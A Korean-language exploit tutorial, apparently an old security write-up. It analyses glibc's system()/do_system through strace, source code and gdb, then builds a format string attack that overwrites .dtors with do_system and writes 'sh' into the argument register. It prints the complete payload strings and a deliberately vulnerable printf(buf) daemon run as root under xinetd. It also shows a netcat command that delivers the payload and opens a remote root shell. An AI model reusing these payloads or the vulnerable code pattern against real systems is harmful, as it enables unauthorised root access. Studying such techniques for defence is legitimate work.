brk(0) = 0x9e7f000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=41901, ...}) = 0 old_mmap(NULL, 41901, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf6ff5000 close(3) = 0 open("/lib/tls/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0 \337u\000"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1512400, ...}) = 0 old_mmap(0x749000, 1207532, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x749000 old_mmap(0x86a000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x120000) = 0x86a000 old_mmap(0x86e000, 7404, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x86e000 close(3) = 0 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf6ff4000 mprotect(0x86a000, 8192, PROT_READ) = 0 mprotect(0x745000, 4096, PROT_READ) = 0 set_thread_area({entry_number:-1 -> 6, base_addr:0xf6ff48e0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 munmap(0xf6ff5000, 41901) = 0 rt_sigaction(SIGINT, {SIG_IGN}, {SIG_DFL}, 8) = 0 rt_sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 8) = 0 rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0 clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xfeefde18) = 15014 <==== clone 호출 waitpid(15014, PID TTY TIME CMD <=== waitpid 호출 13283 pts/2 00:00:00 bash 15012 pts/2 00:00:00 strace 15013 pts/2 00:00:00 system 15014 pts/2 00:00:00 ps [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0) = 15014 rt_sigaction(SIGINT, {SIG_DFL}, NULL, 8) = 0 rt_sigaction(SIGQUIT, {SIG_DFL}, NULL, 8) = 0 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 --- SIGCHLD (Child exited) @ 0 (0) --- exit_group(0) = ? -- fork에서 clone 시스템 콜 호출로 변경된 것을 볼 수 있다. 어쨌든, system 함수에서 새롭게 생긴 do_system을 호출하며, %eax 레지스터에 명령 코드를 인자로 넣어 실행한다는 사실을 알 수 있었다. -- [나중에 추가: 이에 만족하지 않고 glibc 소스 코드를 찾아 덧붙인다.] -- system 함수 관련 소스 코드를 분석하기 위해 glibc-2.3.3을 다운로드 받았다. ./sysdeps/posix/system.c 소스 코드를 분석하면 디버깅 되었던 내용을 확신할 수 있게 된다. 먼저 system 함수만 단편적으로 잘라보면 분석해보면 다음과 같다. -- int __libc_system (const char *line) <--- 우선 __libc_system 함수(system) 이다. { if (line == NULL) // 명령어 인자 값이 NULL인지 확인하는 부분 /* Check that we have a command processor available. It might not be available after a chroot(), for example. */ return do_system ("exit 0") == 0; // NULL을 경우 do_system 명령을 수행하여 종료 if (SINGLE_THREAD_P) return do_system (line); // do_system 함수를 호출 int oldtype = LIBC_CANCEL_ASYNC (); int result = do_system (line); // do_system 함수를 호출 LIBC_CANCEL_RESET (oldtype); return result; } weak_alias (__libc_system, system) -- 그럼, 이번엔 do_system 함수 분석이다. 중요한 부분만 분석해보겠다. -- ... 선행 처리기 부분 ... #ifndef HAVE_GNU_LD #define __environ environ #endif #define SHELL_PATH "/bin/sh" /* Path of the shell. */ #define SHELL_NAME "sh" /* Name to give it. */ ... /* Execute LINE as a shell command, returning its status. */ static int do_system (const char *line) <--- do_system 함수 시작이다. { int status, save; pid_t pid; struct sigaction sa; #ifndef _LIBC_REENTRANT struct sigaction intr, quit; #endif sigset_t omask; ... 잡다한 시그널 설정 부분 ... // 이 부분부터 fork를 통해 프로세스가 시작된다. #ifdef FORK pid = FORK (); #else pid = __fork (); #endif if (pid == (pid_t) 0) // fork로 인해 자식으로 실행되는 child process { /* Child side. */ const char *new_argv[4]; <--- 이 부분부터 잘 살펴보자. new_argv[0] = SHELL_NAME; <- SHELL_NAME인 "sh"가 들어갔음 new_argv[1] = "-c"; <- "-c"가 다음 인자로 들어감. new_argv[2] = line; <- 우리의 명령이 세번째 인자로 들어감. new_argv[3] = NULL; <- 그 다음 값은 NULL /* Restore the signals. */ ... // execve를 수행한다. execve("/bin/sh", "sh -c 명령", 환경변수); /* Exec the shell. */ (void) __execve (SHELL_PATH, (char *const *) new_argv, __environ); _exit (127); } ... 그 후, 프로세스를 wait하는 부분이다. ... #ifdef NO_WAITPID // NO_WAITPID의 경우, wait를 호출하여 처리하고, // 아닐 경우, waitpid로 호출한다. pid_t child; do { child = __wait (&status); <-- wait() 호출 if (child <= -1 && errno != EINTR) { status = -1; break; } /* Note that pid cannot be <= -1 and therefore the loop continues when __wait returned with EINTR. */ } while (child != pid); #else /* Note the system() is a cancellation point. But since we call waitpid() which itself is a cancellation point we do not have to do anything here. */ if (TEMP_FAILURE_RETRY (__waitpid (pid, &status, 0)) != pid) <--- waitpid() 호출 status = -1; #endif ... -- * 원격 포맷 스트링 공격을 통해 쉘 실행하기 얻어진 내용을 토대로 exploit이 어떻게 이루어지는지 분석해보겠다. 먼저 원격 format string exploit 시, RTL 공격을 시도하기 위해 레지스터 값을 조사해보자. 첫 번째로 __DTOR_END__를 do_system 함수 주소로 덮어씌울 것이다. 그럼, 이 함수는 __do_global_dtors_aux 함수 내에서 호출되는데 이 때 %eax 레지스터의 위치가 결정된다. 다음은 __do_global_dtors_aux 함수이다. -- (gdb) disass __do_global_dtors_aux Dump of assembler code for function __do_global_dtors_aux: 0x08048360 <__do_global_dtors_aux+0>: push %ebp 0x08048361 <__do_global_dtors_aux+1>: mov %esp,%ebp 0x08048363 <__do_global_dtors_aux+3>: sub $0x8,%esp 0x08048366 <__do_global_dtors_aux+6>: cmpb $0x0,0x80495bc 0x0804836d <__do_global_dtors_aux+13>: je 0x804837b <__do_global_dtors_aux+27> 0x0804836f <__do_global_dtors_aux+15>: jmp 0x804838d <__do_global_dtors_aux+45> 0x08048371 <__do_global_dtors_aux+17>: add $0x4,%eax <======== ④ $eax가 __DTOR_END__+4로 변경. 0x08048374 <__do_global_dtors_aux+20>: mov %eax,0x80495b8 0x08048379 <__do_global_dtors_aux+25>: call *%edx <============ ⑤ __DTOR_END__ 호출. 0x0804837b <__do_global_dtors_aux+27>: mov 0x80495b8,%eax <=== ① $eax 레지스터가 __DTOR_END__로 변경. 0x08048380 <__do_global_dtors_aux+32>: mov (%eax),%edx <====== ② $edx 레지스터가 __DTOR_END__의 값을 가짐. 0x08048382 <__do_global_dtors_aux+34>: test %edx,%edx <======== ③ null이 아닐 경우 위로 가서 수행. 0x08048384 <__do_global_dtors_aux+36>: jne 0x8048371 <__do_global_dtors_aux+17> 0x08048386 <__do_global_dtors_aux+38>: movb $0x1,0x80495bc 0x0804838d <__do_global_dtors_aux+45>: leave 0x0804838e <__do_global_dtors_aux+46>: ret 0x0804838f <__do_global_dtors_aux+47>: nop End of assembler dump. (gdb) -- 잘 살펴보면, %eax 레지스터는 __DTOR_END__ + 4 위치가 되는 것을 알 수 있다. 만일 .dtors가 do_system 함수 주소로 overwrite 된다면, do_system 함수의 인자로 들어가는 %eax 레지스터는 바로 다음 4byte 위치가 된다. 이렇게 do_system 함수로 덮어씌우는 또 다른 이유 중 하나는 ①{%ebp + 8 위치의 값을 %eax 레지스터에 넣는 system 함수 내부 수행 과정을 무시하기 위해서이다.} 실제로 .dtors를 do_system 함수로 overwrite 후, %eax 레지스터의 위치를 살펴보았다. [참고] ① 위의 system 함수 내부 과정 분석 내용을 참조하라. -- [root@localhost bug]# objdump -h printf | grep dtors 16 .dtors 00000008 080494e0 080494e0 000004e0 2**2 [root@localhost bug]# .dtors end: 0x080494e4 -- 자, 그럼 do_system 함수의 위치를 얻어보겠다. -- (gdb) x/x do_system 0x77d320 : 0x0001ba55 (gdb) do_system: 0x0077d320 -- 조사된 내용을 토대로 exploit을 작성하면 다음과 같다. -- exploit structure: "\xe4\x94\x04\x08\xe6\x94\x04\x08%54040x%8\$n%11607x%9\$n" [.dtors address][format string exploit (do_system address)] -- .dtors에 do_system을 덮어씌운 공격 결과는 다음과 같다. -- (gdb) br do_system Breakpoint 2 at 0x77d320 (gdb) r `printf "\xe4\x94\x04\x08\xe6\x94\x04\x08"`%54040x%8\$n%11607x%9\$n ... Breakpoint 1, 0x0077d320 in do_system () from /lib/tls/libc.so.6 (gdb) x/x 0x080494e4 0x80494e4 <__DTOR_END__>: 0x0077d320 <===== do_system 주소가 제대로 overwrite 되었다. (gdb) i r eax 0x80494e8 134517992 <====== %eax 레지스터의 위치. ecx 0x86d378 8835960 edx 0x77d320 7852832 ebx 0x80495b8 134518200 esp 0xfeed97fc 0xfeed97fc ebp 0xfeed9808 0xfeed9808 esi 0xffffffff -1 edi 0x80494d8 134517976 eip 0x77d320 0x77d320 eflags 0x206 518 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/x $eax 0x80494e8 <__JCR_LIST__>: 0x00000001 (gdb) -- 역시, %eax 레지스터의 위치를 살펴보니 __DTOR_END__ + 4byte의 위치에 존재하는 것을 알 수 있다. 매우 운이 좋게도 format string 기법을 통해 overwrite가 가능한 .dtors 부근에 위치해 있는 것이다. 만약 %eax 레지스터의 값에 "sh" 문자열을 덮어씌우면 어떤 일이 벌어질까? 위의 분석된 내용이 사실이라면, 새로운 프로세스의 쉘이 실행되어야 한다. 자, 그럼 시도해보겠다. -- (gdb) r `printf "\xe4\x94\x04\x08\xe6\x94\x04\x08\\xe8\x94\x04\x08\xea\x94\x04\x08"` %54032x%8\$n%11607x%9\$n%26620x%10\$n%38797x%11\$n ... Breakpoint 1, 0x0077d320 in do_system () from /lib/tls/libc.so.6 (gdb) i r eax 0x80494e8 134517992 ecx 0x86d378 8835960 edx 0x77d320 7852832 ebx 0x80495b8 134518200 esp 0xfef58c0c 0xfef58c0c ebp 0xfef58c18 0xfef58c18 esi 0xffffffff -1 edi 0x80494d8 134517976 eip 0x77d320 0x77d320 eflags 0x206 518 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/x $eax 0x80494e8 <__JCR_LIST__>: 0x00006873 (gdb) x/s $eax 0x80494e8 <__JCR_LIST__>: "sh" <====== 굿?! %eax 레지스터에 임의로 "sh" 명령을 덮어씌웠다. (gdb) c Continuing. Detaching after fork from child process 15060. <======= 자식으로 프로세스가 생성된 후, sh-3.00# ps <======= 무사히 쉘 실행! PID TTY TIME CMD 13283 pts/2 00:00:00 bash 15033 pts/2 00:00:01 gdb 15058 pts/2 00:00:00 printf 15060 pts/2 00:00:00 sh 15061 pts/2 00:00:00 ps sh-3.00# exit exit Program received signal SIGSEGV, Segmentation fault. 0x00000000 in ?? () (gdb) -- 훌륭하다. 매우 간편하게 shell을 실행할 수 있었다. 다음은 실제 remote 환경에서 shell을 실행하는 모습이다. -- /tmp/daemon.c -- int main() { char buf[256]; scanf("%s",buf); printf(buf); } -- /etc/xinetd.d/test -- service test { flags = REUSE socket_type = stream wait = no user = root server = /tmp/daemon disable = no } -- [root@localhost tmp]# killall -HUP xinetd [root@localhost tmp]# netstat -an | grep 8282 tcp 0 0 0.0.0.0:8282 0.0.0.0:* LISTEN [root@localhost tmp]# [root@localhost tmp]# (printf "\xdc\x94\x04\x08\xde\x94\x04\x08\xe0\x94\x04\x08\xe2\x94\x04\x08" ;echo %54032x%8\$n%11607x%9\$n%26620x%10\$n%38797x%11\$n;cat) |nc localhost 8282 ... ... id uid=0(root) gid=0(root) pwd / uname -a Linux localhost 2.6.9-1.667 #1 Tue Nov 2 14:41:25 EST 2004 i686 i686 i386 GNU/Linux cat /etc/redhat-release Fedora Core release 3 (Heidelberg) -- 이와 같이, do_system 함수를 이용한 format stirng 공격은 shellcode를 덮어씌우는 format string 공격과는 반대로 적은 양의 메모리만으로도 공격이 가능하다는 장점이 있다. * 결 론 지금까지 remote 공격 관점에서 system의 각 address 값을 알고 있다는 가정하에 공격을 시도해봤다. 이 주소들을 알아내는 방법은 brute-force 또는, format string exploit 통한 정보 얻기 등등... 다양한 방법이 존재한다. 그동안 우리는 local exploit 시, system library 함수를 너무 외면하지 않았는가?! system 함수!! 그가 있어 아직 이 세상은 아름다운 것 같다. -_- 그럼, 이만 글을 마치도록 하겠다. :-) (format string code를 이중-삼중으로 덮어씌우는 작업은 예전에 작성된 `Double format string Project' 문서를 참조하면 좋을 것이다.)